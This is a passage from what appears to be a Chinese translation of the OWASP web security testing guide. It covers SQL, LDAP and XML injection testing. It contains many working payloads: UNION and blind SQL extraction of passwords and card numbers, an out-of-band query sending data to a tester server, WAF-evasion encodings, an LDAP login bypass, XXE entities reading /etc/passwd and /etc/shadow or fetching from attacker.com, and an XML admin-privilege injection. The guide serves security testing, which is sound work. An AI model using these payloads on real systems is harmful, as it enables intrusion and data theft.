这可能会返回许多值。有时身份验证代码会验证返回的记录/结果数是否等于1。在前面的示例中，这种情况将很困难（在数据库中，每个用户只有一个值）。为了解决此问题，插入一个SQL命令就足够了，该命令强加一个条件，即返回结果的数量必须为1。（返回一条记录）为了达到此目标，我们使用运算符 `LIMIT <num>` ，其中， `<num>` 是我们要返回的结果/记录的数量。对于前面的示例，“用户名”和“密码”字段的值将进行如下修改：
`$username = 1' or '1' = '1')) LIMIT 1/*` 和 `$password = foo`

这样，我们形成的查询语句如下：

```
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;password=foo
```

SELECT 语句

考虑下列SQL查询： `SELECT * FROM products WHERE id_product=$id_product`

还考虑对执行上述查询的脚本的请求： `http://www.example.com/product.php?id=10`

当测试人员尝试输入有效值（例如，在这种情况下为10）时，应用程序将返回产品说明。测试应用程序在这种情况下是否易受攻击的好方法是使用运算符AND和OR进行逻辑运算。

考虑请求： `http://www.example.com/product.php?id=10 AND 1=2`

```
SELECT * FROM products WHERE id_product=10 AND 1=2
```

在这种情况下，应用程序可能会返回一些消息，告诉我们没有可用的内容或空白页。然后，测试人员可以发送真实的语句并检查是否存在有效的结果：

```
http://www.example.com/product.php?id=10 AND 1=1
```

Stacked Queries

取决于Web应用程序使用的API和DBMS（例如PHP + PostgreSQL，ASP + SQL SERVER），一次调用即可执行多个查询。

考虑以下SQL查询： `SELECT * FROM products WHERE id_product=$id_product`

利用上述情况的一种方法是： `http://www.example.com/product.php?id=10; INSERT INTO users (…)`

这种方式可以连续执行许多查询，而与第一个查询无关。

指纹数据库

尽管SQL语言是标准语言，但每个DBMS都有其独特之处，并且在许多方面彼此不同，例如特殊命令，用于检索数据的功能（例如用户名和数据库），功能，注释行等。

当测试人员转向更高级的SQL注入开发时，他们需要知道后端数据库是什么。

应用程序返回的错误

找出使用哪种后端数据库的第一种方法是观察应用程序返回的错误。以下是错误消息的一些示例：

- MySql:

```
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1
```

一个完整的带有version（）的UNION SELECT也可以帮助您了解后端数据库，例如：

```
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1
```

- Oracle:

```
ORA-00933: SQL command not properly ended
```

- MS SQL Server:

```
Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string
```

或尝试执行下列语句：

```
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1
```

- PostgreSQL

```
Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.
```

如果没有显示错误信息或自定义错误页，测试者可以尝试使用变化的连接技术，注入字符串字段。例如：

- MySql: ‘test’ + ‘ing’
- SQL Server: ‘test’ ‘ing’
- Oracle: ‘test’||’ing’
- PostgreSQL: ‘test’||’ing’

渗透技术

Union 渗透技术

在SQL注入中使用UNION运算符，可以将测试人员有意附加查询加入到原始查询中。附加查询的结果将与原始查询的结果结合在一起，从而使测试人员可以获取其他表的列的值。假设从服务器执行的查询如下：

```
SELECT Name, Phone, Address FROM Users WHERE Id=$id
```

我们设置id值如下： `$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable`

这样，查询语句如下： `SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable`

它将原始查询的结果与CreditCardTable表中的所有信用卡号结合在一起。关键字ALL对于绕开使用关键字的查询是必需的DISTINCT。此外，我们注意到，除了信用卡号以外，我们还选择了其他两个值(1,1)。这两个值是必需的，因为两个查询必须具有相同数量的参数/列，以避免语法错误。

测试人员使用这种技术来利用SQL注入漏洞的第一个细节是在SELECT语句中找到正确的列数。

为了实现此目的，测试人员可以使用ORDER BY子句，后跟一个数字，该数字指示所选数据库列的编号：

```
http://www.example.com/product.php?id=10 ORDER BY 10--
```

如果查询成功执行，那么在此示例中，测试人员可以假定SELECT语句中有10列或更多列。如果查询失败，则查询返回的列数必须少于10。如果有错误消息可用，则可能是：

```
Unknown column '10' in 'order clause'
```

在测试人员找出列数之后，下一步就是找出列的类型。假设上面的示例中有3列，那么测试人员可以尝试使用NULL值来帮助每种类型的列：

```
http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--
```

如果查询失败，测试人员可能会看到类似以下的消息：

```
All cells in a column must have the same datatype
```

如果查询成功执行，则第一列可以是整数。然后测试人员可以继续前进，依此类推：

```
http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--
```

成功收集信息之后，根据应用程序的不同，它可能只会向测试人员显示第一个结果，因为该应用程序仅处理结果集的第一行。在这种情况下，可以使用LIMIT子句或测试器可以设置无效值，从而仅使第二个查询有效（假设数据库中没有ID为99999的条目）：

```
http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--
```

Boolean Exploitation Technique

盲注中，Boolean渗透非常有用。在这种情况下，测试人员对操作结果一无所知。例如，如果程序员创建了一个自定义错误页面，该页面未显示查询结构或数据库上的任何内容，则会发生此行为。（该页面不会返回SQL错误，它可能仅返回HTTP 500、404或重定向）。

我们可以进行推理绕过无显性提示这一障碍，从而成功恢复某些所需字段的值。该方法包括对服务器执行一系列布尔查询，观察答案并最终推断出此类答案的含义。我们一如既往地考虑www.example.com域，并假设它包含一个名为id的参数，该参数容易受到SQL注入的攻击。这意味着执行以下请求：

```
http://www.example.com/index.php?id=1'
```

请求后，我们将获得一个包含自定义消息错误的页面，这是由于查询中的语法错误所致。我们假设在服务器上执行的查询是：

```
SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
```

可以通过前面看到的方法加以利用。我们想要获得的是用户名字段的值。我们将执行的测试将使我们能够获取用户名字段的值，并逐个字符地提取该值。通过使用实际上存在于每个数据库中的一些标准功能，这是可能的。对于我们的示例，我们将使用以下伪函数：

- SUBSTRING (text, start, length)：返回从文本的start位置开始且长度为length的子字符串。如果start大于文本长度，则该函数返回空值。
- ASCII(char)：它返回输入字符的ASCII值。如果char为0，则返回null值。
- LENGTH(text)：它返回输入文本中的字符数。

通过这些函数，我们将在第一个字符上执行测试，发现值后，将传递至第二个字符，依此类推，直到发现整个值为止。测试将利用SUBSTRING函数，一次仅选择一个字符（选择单个字符意味着将length参数强加为1），而利用ASCII函数，以获得ASCII值，以便我们可以做数值比较。比较结果将使用ASCII表的所有值完成，直到找到正确的值为止。例如，我们将以下值用于Id：

```
$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
```

这将创建以下查询（从现在开始，我们将其称为“推论查询”）：

```
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
```

当且仅当字段用户名的第一个字符等于ASCII值97时，上一个示例才返回结果。如果我们得到一个假值，则将ASCII表的索引从97增加到98，然后重复该请求。如果取而代之的是获得真值，则将ASCII表的索引设置为零，然后分析下一个字符，并修改SUBSTRING函数的参数。问题在于要了解以哪种方式可以区分返回真值的测试和返回假值的测试。为此，我们创建一个始终返回false的查询。通过将以下值用于Id： `$Id=1' AND '1' = '2`

这将创建以下查询：

```
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
```

从服务器获得的响应（即HTML代码）将是我们测试的错误值。这足以验证从推论查询的执行获得的值是否等于之前执行的测试所获得的值。有时，此方法不起作用。如果服务器由于两个相同的连续Web请求而返回了两个不同的页面，则我们将无法将true值与false值区分开。在这些特定情况下，有必要使用特定的过滤器，这些过滤器使我们能够消除在两个请求之间更改的代码并获得模板。稍后，对于每个执行的推理请求，我们将使用相同的函数从响应中提取相对模板，

在前面的讨论中，我们还没有解决确定外部测试终止条件的问题，即何时终止推理过程。一种使用SUBSTRING函数和LENGTH函数的特征的技术。当测试将当前字符与ASCII码0（即，值为null）进行比较，并且测试返回值为true时，则要么我们完成了推理过程（我们已经扫描了整个字符串），要么我们拥有了分析包含空字符。

我们将为该字段插入以下值Id：

```
$Id=1' AND LENGTH(username)=N AND '1' = '1
```

其中N是到目前为止我们已经分析的字符数（不计算空值）。查询将是：

```
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
```

查询返回true或false。如果获得true，则说明推理已经完成，因此我们知道了参数的值。如果获得false，则意味着参数值中存在空字符，并且我们必须继续分析下一个参数，直到找到另一个空值为止。

盲目SQL注入攻击需要大量查询。测试人员可能需要自动工具才能利用此漏洞。

基于错误的渗透技术

当测试人员由于某种原因无法使用其他技术（例如UNION）利用SQL注入漏洞时，基于错误的利用技术很有用。基于错误的技术包括强制数据库执行某些操作，结果将是错误。

这里的重点是尝试从数据库中提取一些数据并将其显示在错误消息中。对于不同的DBMS，此技术可能有所不同（请参阅DBMS特定部分）。

考虑以下SQL查询： `SELECT * FROM products WHERE id_product=$id_product`

还考虑对执行上述查询的脚本的请求： `http://www.example.com/product.php?id=10`

恶意请求将是（例如Oracle 10g）： `http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--`

在此示例中，测试人员将值10与函数 `UTL_INADDR.GET_HOST_NAME` 的结果连接在一起。该Oracle函数将尝试返回传递给它的参数的主机名，即另一个查询 `SELECT user FROM DUAL` (其结果为用户名）。当数据库使用用户数据库名查找主机名时，它将失败并返回如下错误消息：

```
ORA-292257: host SCOTT unknown
```

然后，测试人员可以改变传递给GET_HOST_NAME（）函数的参数，结果将显示在错误消息中。

Out of Band Exploitation Technique

这个技术也是盲注中常用的。该技术使用DBMS执行带外连接，并将注入查询的结果作为请求的一部分传递给测试的服务器。像基于错误的技术一样，每个DBMS都有自己的函数，所以使用前要确定DBMS类型。

考虑以下SQL查询： `SELECT * FROM products WHERE id_product=$id_product`

还考虑对执行上述查询的脚本的请求： `http://www.example.com/product.php?id=10`

恶意请求将是： `http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--`

在此示例中，测试人员将值10与函数的结果连接在一起UTL_HTTP.request。该Oracle函数将尝试连接到testerserver一个HTTP GET请求并包含查询返回信息SELECT user FROM DUAL。测试人员可以设置网络服务器（例如Apache）或使用Netcat工具：

```
/home/tester/nc -nLp 80
```

显示结果

```
GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close
```

时间延迟渗透技术

这个技术也是盲注中常用的。该技术包括发送一个注入的查询，并且在条件为真的情况下，测试人员可以监视服务器响应所花费的时间。如果存在延迟，则测试人员可以假定条件查询的结果为true。对于不同的DBMS，此开发技术可能有所不同（请参阅DBMS特定部分）。
考虑以下SQL查询： `SELECT * FROM products WHERE id_product=$id_product`

还考虑对执行上述查询的脚本的请求： `http://www.example.com/product.php?id=10`

恶意请求将是（例如MySql 5.x）： `http://www.example.com/product.php?id=10 AND IF(version() like '5%', sleep(10), 'false'))--`

在此示例中，测试人员正在检查MySql版本是否为5.x，从而使服务器将答案延迟10秒。测试仪可以增加延迟时间并监视响应。测试人员也不需要等待响应。有时，他可以设置一个很高的值（例如100），并在几秒钟后取消请求。

存储过程渗透技术

在存储过程中使用动态SQL时，应用程序必须正确清理用户输入，以消除代码注入的风险。如果未清除，则用户可能会输入将在存储过程中执行的恶意SQL。

请考虑以下SQL Server存储过程：

```
Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring  = '
Select 1 from users
Where username = ' + @username + ' and passwd = ' + @passwd
exec(@sqlstring)
Go
```

用户输入：

```
anyusername or 1 = 1 '
anypassword
```

此过程不会清除输入，因此允许返回值显示具有这些参数的现有记录。

> 由于使用动态SQL登录用户，因此该示例似乎不太可能，但请考虑使用动态reporting query，用户在其中选择要查看的列。用户可能会在此方案中插入恶意代码并破坏数据。

请考虑以下SQL Server存储过程：

```
Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring  = '
Select ' + @columnamelist + ' from ReportTable'
exec(@sqlstring)
Go
```

用户输入：

```
1 from users; update users set password = 'password'; select *
```

这将导致报告运行并更新所有用户的密码。

自动化的渗透

很多工具，例如SQLMAP

SQL注入签名免杀技术

该技术用于绕过Web应用程序防火墙（WAF）或入侵防御系统（IPS）等防御措施。另请参阅 https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

white space

删除空格或添加空格，不会影响SQL语句。例如

```
or ' a ' = ' a '

or ' a '   =    ' a '
```

添加不会更改SQL语句执行的特殊字符，例如换行符或制表符。例如，

```
or
'a'=
       'a'
```

空字节

在过滤器阻止的任何字符之前,使用空字节（%00）。

例如，如果攻击者注入以下SQL: `' UNION SELECT password FROM Users WHERE username='admin'--`

添加空字节将是: `%00' UNION SELECT password FROM Users WHERE username='admin'--`

SQL注释

添加SQL行内注释还可以帮助SQL语句有效并绕过SQL注入过滤器。例如:

```
' UNION SELECT password FROM Users WHERE name='admin'--
```

添加SQL行内注释:

```
'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--

'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--
```

URL编码

使用在线URL编码对SQL语句进行编码，例如有SQL:

```
' UNION SELECT password FROM Users WHERE name='admin'--
```

SQL注入语句的URL编码为:

```
%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--
```

字符编码

`Char()` 函数可用于替换英文char。例如， `char(114,111,111,116)` 表示root。

例如有sql： `' UNION SELECT password FROM Users WHERE name='root'--`

应用 `Char()` 后的SQL injeciton语句:

```
' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--
```

字符串拼接

拼接会破坏SQL关键字并逃避过滤器。拼接语法因数据库引擎而异。

以MS SQL引擎为例:

```
select 1
```

通过使用拼接，可以如下更改简单的SQL语句

```
EXEC('SEL' + 'ECT 1')
```

十六进制编码

十六进制编码技术使用十六进制编码来替换原始SQL语句char。例如，root可以表示为726F6F74

```
Select user from users where name = 'root'
```

使用HEX值的SQL语句将为:

```
Select user from users where name = 726F6F74
```

或者

```
Select user from users where name = unhex('726F6F74')
```

声明变量

将SQL注入语句声明为变量并执行它。

例如，下面的SQL注入语句:

```
Union Select password
```

将SQL语句定义为变量 SQLivar

```
; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)
```

'or1 = 1' 的替代表达

```
OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' &gt; 'S'
or 20 &gt; 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1
```

补救防范

- To secure the application from SQL injection vulnerabilities, refer to the SQL Injection Prevention CheatSheet.
- To secure the SQL server, refer to the Database Security CheatSheet.

Tools

- SQL Injection Fuzz Strings (from wfuzz tool) - Fuzzdb
- Francois Larouche: Multiple DBMS SQL Injection tool -SQL Power Injector sqlbftools
- Bernardo Damele A. G.: sqlmap, automatic SQL injection tool
- icesurfer: SQL Server Takeover Tool - sqlninja
- Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool
- bsqlbf, a blind SQL injection tool in Perl

LDAP注入测试 Testing for LDAP Injection

ID:WSTG-INPV-06

概述

轻型目录访问协议（LDAP）用于存储有关用户，主机和许多其他对象的信息。LDAP注入是一种服务器端攻击，它可能允许泄露，修改或插入有关LDAP结构中用户和主机的敏感信息。这是通过修改输入参数，然后传递给内部搜索，添加和修改功能来完成的。

Web应用程序使用LDAP的情况常见于组织内部网络，以便用户进行身份验证或搜索其他用户的信息。LDAP注入攻击主要手段是在应用程序查询中注入LDAP搜索过滤器元字符。

Rfc2254 定义了有关如何在LDAPv3上构建搜索过滤器的语法，并扩展了Rfc1960（LDAPv2）。

LDAP搜索过滤器以波兰（Polish ）符号（也称为 Polish 符号前缀符号）构造。

这意味着搜索过滤器上的伪代码条件如下：

```
find("cn=John & userPassword=mypass")
```

在LDAP查询中将表示为：

```
find("(&(cn=John)(userPassword=mypass))")
```

可以使用以下元字符在LDAP搜索过滤器上应用布尔条件和组聚合：

元字符	含义
&	布尔与
|	布尔或
!	布尔非
=	等于
~=	近似等于
>=	大于等于
<=	小于等于
*	任意字符
()	组

更多复杂形式可以参考相关RFC

成功渗透LDAP注入漏洞可使测试者实现：

- 访问非授权的内容
- 免受应用约束
- 收集非授权信息
- 增加或修改LDAP树状结构中的对象

如何测试

例子1 查询过滤器

假设有一个web应用使用查询过滤器如下：

```
searchfilter="(cn="+user+")"
```

在HTTP请求中会被初始化为如下形式：

```
http://www.example.com/ldapsearch?user=John
```

如果值John被一个*号替代，那么请求如下：

```
http://www.example.com/ldapsearch?user=*
```

过滤器形式如下：

```
searchfilter="(cn=*)"
```

它会返回每一个含有cn属性的对象。

如果应用中存在LDAP注入漏洞，他将显示用户属性中的全部或一部分，这取决于当前用户在LDAP中的权限。

例2 登录

如果Web应用程序在登录过程中使用LDAP来检查用户凭据且存在LDAP注入漏洞，则可以通过注入始终为真的LDAP查询（类似于SQL和XPATH注入的方式）来绕过身份验证检查。

例如：Web应用程序使用过滤器来匹配LDAP用户/密码对。

```
searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";
```

通过使用以下值：

```
user=*)(uid=*))(|(uid=*
pass=password
```

搜索过滤器结果是：

```
searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";
```

这样测试人员就能已登录状态访问LDAP树了。

工具

softerra LDAP Browser

参考

LDAP Injection Prevention Cheat Sheet

XML注入测试 Testing for XML Injection

ID:WSTG-INPV-07

概述

XML注入是将XML文档注入到应用输入点的行为。如果XML解析器无法根据上下文验证数据，则可能发生一些信息泄露。本节描述XML注入的实际示例。首先，将定义XML样式的通信并解释其工作原理。然后，我们尝试插入XML元字符的发现方法。一旦完成第一步，测试人员将获得有关XML结构的一些信息，因此可以尝试注入XML数据和标记（标记注入）。

测试方法

假设某个web应用使用XML样式的通信来执行用户注册。这一点通过在一个xmlDb文件中增加一个新的 `<user>` 节点来实现。假设xmlDb文件如下：

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
</users>
```

当用户使用HTML表单注册，应用在标准请求中接收到用户的数据，简单考虑它使用了GET方法，例如：

```
Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com
```

则请求如下： `http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com`

应用接收请求后会构建下列节点：

```
<user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>
```

然后假如到xmlDb中：

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
    </user>
</users>
```

发现

第一步，为了测试应用是否存在xml注入漏洞，可以尝试插入XML元字符。XML元字符是：

单引号 '

如果注入的值将成为标签中属性值的一部分，则在不进行清理的情况下，此字符可能会在XML解析期间引发异常。

例如：有这样的属性： `<node attrib='$inputValue'/>`

因此，如果： `inputValue=foo'`

实例化后被插入到属性值： `<node attrib='foo''/>`

这样的话，最终XML文档的形式就有问题。

双引号 "

此字符与单引号含义相同，如果属性值用双引号引起来，则可以使用此字符进行注入字符串构建。例如： `<node attrib="$inputValue"/>` 。所以如果有 `$inputValue=foo"` ，那么会替换为： `<node attrib="foo""/>` ，生成的xml文档也是不良形式。

- 角括号 > 和 < ，产生新节点。例如在用户输入中键入： `username=foo<` ,会产生新节点：

```
<user>
    <username>foo<</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>
```

但是，因为有打开的<号，结果XML是有问题的。

注释标记 `<!--/-->`

这段字符序列作为一段注释的开始和结尾。注入到用户输入框中的示例： `username=foo<!--` .
应用会构建一个类似下面的节点：

```
<user>
    <username>foo<!--</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>
```

这也不是一个有效的XML

& 字符

这个字符在XML中表示实体。实体格式为 `&symbol;` ， 一个实体被映射到一个unicode字符集中。

例如： `<tagnode>&lt;</tagnode>` 是有效形式，表达 < ASCII 字符。

如果 & 不以 `&` 编码，它也可以用于测试XML注入漏洞。事实上，如果一个输入如下例： `username=&foo` ,新节点将被生成：

```
<user>
    <username>&foo</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>
```

这个形式是无效的，因为少了个;号

`CDATA` 节分隔符

`<!\[CDATA\[/]]>` 。CDATA节用于转义包含不想被识别为标记的字符串组成的块。包含在CDATA 节中的字符不会被XML解析。

例如：需要表达字符串 `<foo>` 时，可以使用下列形式：

```
<node>
    <![CDATA[<foo>]]>
</node>
```

所以， `<foo>` 不会被解析为标签。如果一个节点以下列形式构建：

```
<username><![CDATA[<$userName]]></username>
```

那测试人员可以尝试注入一个CDATA结尾字符串 `]]>` ，使XML无效。例如 `<username><![CDATA[]]>]]></username>` ，这不是一个形式完整的XML片段。

有关CDATA标记的另一项测试，可用于XML文档被处理生成一个HTML页面时。此时CDATA 节分隔符可能简单的删去，不用检查它的内容。这样可能注入HTML标记，这个标记包含在生成的页面中，完全绕过了xml清洗机制。

下面的示例显示了一个含有一些文本的节点，它将回显给用户：

```
<html>
    $HTMLCode
</html>
```

然后，攻击者会给出下列的输入：

```
$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
```

后台xml解析时会把CDATA节去掉，生成下列HTML代码：

```
<script>
    alert('XSS')
</script>
```

这类似于XSS攻击。

外部实体

可以通过定义新实体来扩展有效实体集。如果实体的定义是URI，则该实体称为外部实体。

除非配置为其他方式，否则外部实体将强制XML解析器访问URI指定的资源，例如，本地计算机或远程系统上的文件。此行为使应用程序受到XML eXternal Entity（XXE）攻击，该攻击可用于执行本地系统的拒绝服务，未经授权访问本地计算机上的文件，扫描远程计算机以及执行远程系统的拒绝服务。 。

要测试XXE漏洞，可以使用以下输入：

```
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///dev/random" >]>
        <foo>&xxe;</foo>
```

如果XML解析器尝试将实体替换为 `/dev/random` 文件的内容，则此测试可能会使Web服务器（在UNIX系统上）崩溃。

其他有用的测试如下：

```
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
```

标记注入

完成第一步后，测试人员将获得有关XML文档结构的一些信息。然后，可以尝试注入XML数据和标签。我们将显示一个示例，说明如何导致特权升级攻击。

让我们考虑先前的应用程序。通过插入以下值：

```
Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com
```

该应用程序将构建一个新节点并将其附加到XML数据库：

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password>
        <userid>500</userid>
        <mail>s4tan@hell.com</mail>
        <userid>0</userid>
        <mail>s4tan@hell.com</mail>
    </user>
</users>
```

上面生成的XML文件格式是正确的。对于用户tony而言，与userid标记关联的值可能是最后出现的那个值，即0（管理员ID）。换句话说，我们为用户注入了管理权限。

唯一的问题是userid标记在最后一个用户节点中出现两次。通常，XML文档与模式或DTD相关联，如果它们不符合要求，则将被拒绝。

让我们假设XML文档是由以下DTD指定的：

```
<!DOCTYPE users [
    <!ELEMENT users (user+) >
    <!ELEMENT user (username,password,userid,mail+) >
    <!ELEMENT username (#PCDATA) >
    <!ELEMENT password (#PCDATA) >
    <!ELEMENT userid (#PCDATA) >
    <!ELEMENT mail (#PCDATA) >
]>
```